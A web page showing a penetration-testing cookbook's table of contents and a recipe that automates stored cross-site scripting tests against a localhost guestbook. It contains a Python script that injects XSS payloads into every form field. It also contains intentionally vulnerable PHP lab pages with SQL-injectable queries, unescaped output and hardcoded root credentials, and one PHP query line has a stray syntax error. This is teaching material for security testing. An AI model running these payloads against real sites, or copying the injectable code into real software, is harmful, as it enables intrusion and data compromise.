Table of Contents for
Python Web Penetration Testing Cookbook

Version ebook / Retour

Cover image for bash Cookbook, 2nd Edition Python Web Penetration Testing Cookbook by Dave Mound Published by Packt Publishing, 2015
  1. Cover
  2. Table of Contents
  3. Python Web Penetration Testing Cookbook
  4. Python Web Penetration Testing Cookbook
  5. Credits
  6. About the Authors
  7. About the Reviewers
  8. www.PacktPub.com
  9. Disclamer
  10. Preface
  11. What you need for this book
  12. Who this book is for
  13. Sections
  14. Conventions
  15. Reader feedback
  16. Customer support
  17. 1. Gathering Open Source Intelligence
  18. Gathering information using the Shodan API
  19. Scripting a Google+ API search
  20. Downloading profile pictures using the Google+ API
  21. Harvesting additional results from the Google+ API using pagination
  22. Getting screenshots of websites with QtWebKit
  23. Screenshots based on a port list
  24. Spidering websites
  25. 2. Enumeration
  26. Performing a ping sweep with Scapy
  27. Scanning with Scapy
  28. Checking username validity
  29. Brute forcing usernames
  30. Enumerating files
  31. Brute forcing passwords
  32. Generating e-mail addresses from names
  33. Finding e-mail addresses from web pages
  34. Finding comments in source code
  35. 3. Vulnerability Identification
  36. Automated URL-based Directory Traversal
  37. Automated URL-based Cross-site scripting
  38. Automated parameter-based Cross-site scripting
  39. Automated fuzzing
  40. jQuery checking
  41. Header-based Cross-site scripting
  42. Shellshock checking
  43. 4. SQL Injection
  44. Checking jitter
  45. Identifying URL-based SQLi
  46. Exploiting Boolean SQLi
  47. Exploiting Blind SQL Injection
  48. Encoding payloads
  49. 5. Web Header Manipulation
  50. Testing HTTP methods
  51. Fingerprinting servers through HTTP headers
  52. Testing for insecure headers
  53. Brute forcing login through the Authorization header
  54. Testing for clickjacking vulnerabilities
  55. Identifying alternative sites by spoofing user agents
  56. Testing for insecure cookie flags
  57. Session fixation through a cookie injection
  58. 6. Image Analysis and Manipulation
  59. Hiding a message using LSB steganography
  60. Extracting messages hidden in LSB
  61. Hiding text in images
  62. Extracting text from images
  63. Enabling command and control using steganography
  64. 7. Encryption and Encoding
  65. Generating an MD5 hash
  66. Generating an SHA 1/128/256 hash
  67. Implementing SHA and MD5 hashes together
  68. Implementing SHA in a real-world scenario
  69. Generating a Bcrypt hash
  70. Cracking an MD5 hash
  71. Encoding with Base64
  72. Encoding with ROT13
  73. Cracking a substitution cipher
  74. Cracking the Atbash cipher
  75. Attacking one-time pad reuse
  76. Predicting a linear congruential generator
  77. Identifying hashes
  78. 8. Payloads and Shells
  79. Extracting data through HTTP requests
  80. Creating an HTTP C2
  81. Creating an FTP C2
  82. Creating an Twitter C2
  83. Creating a simple Netcat shell
  84. 9. Reporting
  85. Converting Nmap XML to CSV
  86. Extracting links from a URL to Maltego
  87. Extracting e-mails to Maltego
  88. Parsing Sslscan into CSV
  89. Generating graphs using plot.ly
  90. Index

Automated parameter-based Cross-site scripting

I've already stated that Cross-site scripting is absurdly easy. Amusingly, it is slightly harder to perform stored Cross-site scripting in a scripted fashion. I should probably take back my earlier words at this point, but whatever. The difficulty here is that systems often take an input structure from one page, submit to another page, and return a third page. The following script is designed to handle that most complex of structures.

We will create a script that takes three input values, reads, and submits to all three correctly and checks for success. It shares code with the earlier URL-based Cross-site scripting but differs fundamentally in its execution.

How to do it…

The following script is the functioning test. It is a script that is designed to be manually edited in a framework similar to sublime text or an IDE, as stored XSS is likely to require fiddling:

import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer
url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']
initial = requests.get(url)
for payload in payloads:
  d = {}
  for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
          if field.has_attr('name'):
            if field['name'].lower() == "submit":
              d[field['name']] = "submit"
            else:
              d[field['name']] = payload
  req = requests.post(url2, data=d)
  checkresult = requests.get(url3)

  if payload in checkresult.text:
    print "Full string returned"
    print "Attack string: "+ payload

The following is an example of the output produced when using this script with two successful strings:

Full string returned
Attack string: <script>alert(1);</script>
Full string returned
Attack string: <BODY ONLOAD=alert(1)>

How it works…

We import our libraries as time and time before and establish the URLs we are going to attack. Here, url is the page with the parameters to attack, url2 is the page that the content is going to be submitted to, and url3 is the final page to be read in order to detect whether the attack was successful. Some of these URLs may be shared. They are set in this form because it is very difficult to make a point and click script for stored Cross-site scripting:

url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"

We then establish a list of payloads. As with the URL-based XSS script, the payload, and check value is the same:

payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']

We then create an empty dictionary to pair the payload with each identified input box:

d = {}

We are aiming to attack every input parameter in a page, so next, we read our target page:

initial = requests.get(url)

We then create a loop for each value that we put in our payloads list:

for payload in payloads:

We then process the page with BeautifulSoup, which is a library that allows us to carve pages by their tags and defining characteristics. We use this to identify each input field of which we select the name so we can send it content:

for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
          if field.has_attr('name'):

Due to the nature of input boxes in the majority of web pages, any fields named submit are not to be targeted for Cross-site scripting and instead need to be given submit as a value in order for our attack to be successful. We create an if function to detect whether this is the case, using the.lower() function to easily account for the potential upper case values that may be used. If the field isn't used to verify submittal, we fill it with the current payload in use:

if field['name'].lower() == "submit":
              d[field['name']] = "submit"
            else:
              d[field['name']] = payload

We send our now assigned values to the targeted page in a post request by using the requests library, as we have done earlier:

req = requests.post(url2, data=d)

We then load the page that would render our content and prepare it for being used in the check result function:

checkresult = requests.get(url3)

Similar to the scripts before, we check if our string was successful by searching for it on the page and print the result out if it. We then reset the dictionary for the next payload:

if payload in checkresult.text:
    print "Full string returned"
    print "Attack string: "+ payload
  d = {}

There's more…

As before, you can alter this script to include many results or read from a file that contains multiple values. Mozilla's FuzzDB, as shown in the following recipe, contains a vast number of these values.

The following is a setup than can be used to test the script provided in the preceding sections. They need to be saved as the filenames provided to work and in conjunction with a MySQL database to store the comments.

The following is the first interface page named guestbook.php:

<?php

$my_rand = rand();

if (!isset($_COOKIE['sessionid'])){
  setcookie("sessionid", $my_rand, "10000000000", "/xss/easy/");}
?>

<form id="contact_form" action='addguestbook.php' method="post">
  <label>Name: <input class="textfield" name="name" type="text" value="" /></label>
  <label>Comment: <input class="textfield" name="comment" type="text" value="" /></label>
  <input type="submit" name="Submit" value="Submit"/> 
</form>

<strong><a href="viewguestbook.php">View Guestbook</a></strong>

The following script is addguestbook.php, which places your comment in the database:

<?php

$my_rand = rand();

if (!isset($_COOKIE['sessionid'])){
  setcookie("sessionid", $my_rand, "10000000000", "/xss/easy/");}

$host='localhost';
$username='root';
$password='password';
$db_name="xss";
$tbl_name="guestbook";

$cookie = $_COOKIE['sessionid'];

$name = $_REQUEST['name'];
$comment = $_REQUEST['comment'];

mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");

$sql="INSERT INTO $tbl_name VALUES('0','$name', '$comment', '$cookie')";

$result=mysql_query($sql);

if($result){
  echo "Successful";
  echo "<BR>";
  echo "<h1>Hi</h1>";

echo "<a href='viewguestbook.php'>View Guestbook</a>";
}

else{
  echo "ERROR";
}
mysql_close();
?>

The final script is viewguestbook.php, which draws the comments from the database:

<html>

<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>


<h1>Comments</h1>

<?php


$my_rand = rand();

if (!isset($_COOKIE['sessionid'])){
  setcookie("sessionid", $my_rand, "10000000000", "/xss/easy/");}

$host='localhost';
$username='root';
$password='password';
$db_name="xss";
$tbl_name="guestbook";

$cookie = $_COOKIE['sessionid'];

$name = $_REQUEST['name'];
$comment = $_REQUEST['comment'];

mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");

$sql="SELECT * FROM guestbook WHERE session = '$cookie'";";

$result=mysql_query($sql);

while($field = mysql_fetch_assoc($result)) {

  print "Name: " . $field['name'] . "\t";
  print "Comment: " . $field['comment'] . "<BR>\r\n";
}

mysql_close();
?>